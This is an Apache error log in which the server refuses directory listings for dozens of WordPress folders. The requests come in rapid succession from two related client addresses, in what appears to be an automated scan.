[Wed Apr 22 07:23:10.798651 2026] [autoindex:error] [pid 21682:tid 21727] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:11.794076 2026] [autoindex:error] [pid 21682:tid 21735] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:12.292014 2026] [autoindex:error] [pid 21682:tid 21736] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:12.791382 2026] [autoindex:error] [pid 21682:tid 21741] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:17.964278 2026] [autoindex:error] [pid 21682:tid 21737] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:18.463783 2026] [autoindex:error] [pid 21682:tid 21723] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:18.961796 2026] [autoindex:error] [pid 21682:tid 21733] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:19.464423 2026] [autoindex:error] [pid 21682:tid 21728] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:19.962435 2026] [autoindex:error] [pid 21682:tid 21739] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:20.462727 2026] [autoindex:error] [pid 21682:tid 21732] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:22.643479 2026] [autoindex:error] [pid 21682:tid 21740] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:23.142470 2026] [autoindex:error] [pid 21682:tid 21746] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:28.630840 2026] [autoindex:error] [pid 21682:tid 21738] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:32.523537 2026] [autoindex:error] [pid 21682:tid 21735] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:33.518297 2026] [autoindex:error] [pid 21682:tid 21727] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:38.851365 2026] [autoindex:error] [pid 21682:tid 21723] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:39.348537 2026] [autoindex:error] [pid 21682:tid 21734] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:45.004321 2026] [autoindex:error] [pid 21682:tid 21729] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:47.220638 2026] [autoindex:error] [pid 21682:tid 21727] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:49.486726 2026] [autoindex:error] [pid 21682:tid 21726] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:51.651915 2026] [autoindex:error] [pid 21682:tid 21742] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:52.149530 2026] [autoindex:error] [pid 21682:tid 21725] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:52.648411 2026] [autoindex:error] [pid 21682:tid 21746] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:56.447655 2026] [autoindex:error] [pid 21682:tid 21739] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:00.221757 2026] [autoindex:error] [pid 21682:tid 21742] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:00.751496 2026] [autoindex:error] [pid 21682:tid 21746] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:06.234369 2026] [autoindex:error] [pid 21682:tid 21729] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:08.522925 2026] [autoindex:error] [pid 21682:tid 21744] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:12.475877 2026] [autoindex:error] [pid 21682:tid 21741] [client 45.137.126.7:57813] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:16.351853 2026] [autoindex:error] [pid 21682:tid 21737] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:16.859408 2026] [autoindex:error] [pid 21682:tid 21738] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:17.361104 2026] [autoindex:error] [pid 21682:tid 21728] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:17.859554 2026] [autoindex:error] [pid 21682:tid 21723] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:18.357136 2026] [autoindex:error] [pid 21682:tid 21739] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:30.885464 2026] [autoindex:error] [pid 31756:tid 31793] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:31.383422 2026] [autoindex:error] [pid 31756:tid 31798] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:31.880268 2026] [autoindex:error] [pid 31756:tid 31807] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:32.378027 2026] [autoindex:error] [pid 31756:tid 31806] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:32.871759 2026] [autoindex:error] [pid 31756:tid 31809] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:40.076770 2026] [autoindex:error] [pid 31756:tid 31813] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:42.153416 2026] [autoindex:error] [pid 31756:tid 31792] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:42.658987 2026] [autoindex:error] [pid 31756:tid 31793] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:43.153760 2026] [autoindex:error] [pid 31756:tid 31797] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:43.652595 2026] [autoindex:error] [pid 31756:tid 31798] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:44.148785 2026] [autoindex:error] [pid 31756:tid 31807] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:51.253981 2026] [autoindex:error] [pid 31756:tid 31799] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:56.948054 2026] [autoindex:error] [pid 31756:tid 31793] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:57.443730 2026] [autoindex:error] [pid 31756:tid 31797] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:24:59.661972 2026] [autoindex:error] [pid 31756:tid 31807] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:09.167020 2026] [autoindex:error] [pid 31756:tid 31801] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:09.660843 2026] [autoindex:error] [pid 31756:tid 31799] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:10.162224 2026] [autoindex:error] [pid 31756:tid 31804] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:10.666320 2026] [autoindex:error] [pid 31756:tid 31808] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:17.846220 2026] [autoindex:error] [pid 31756:tid 31813] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:24.122910 2026] [autoindex:error] [pid 31756:tid 31810] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:24.618296 2026] [autoindex:error] [pid 31756:tid 31799] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:40.480817 2026] [autoindex:error] [pid 31756:tid 31792] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:44.356999 2026] [autoindex:error] [pid 31756:tid 31806] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
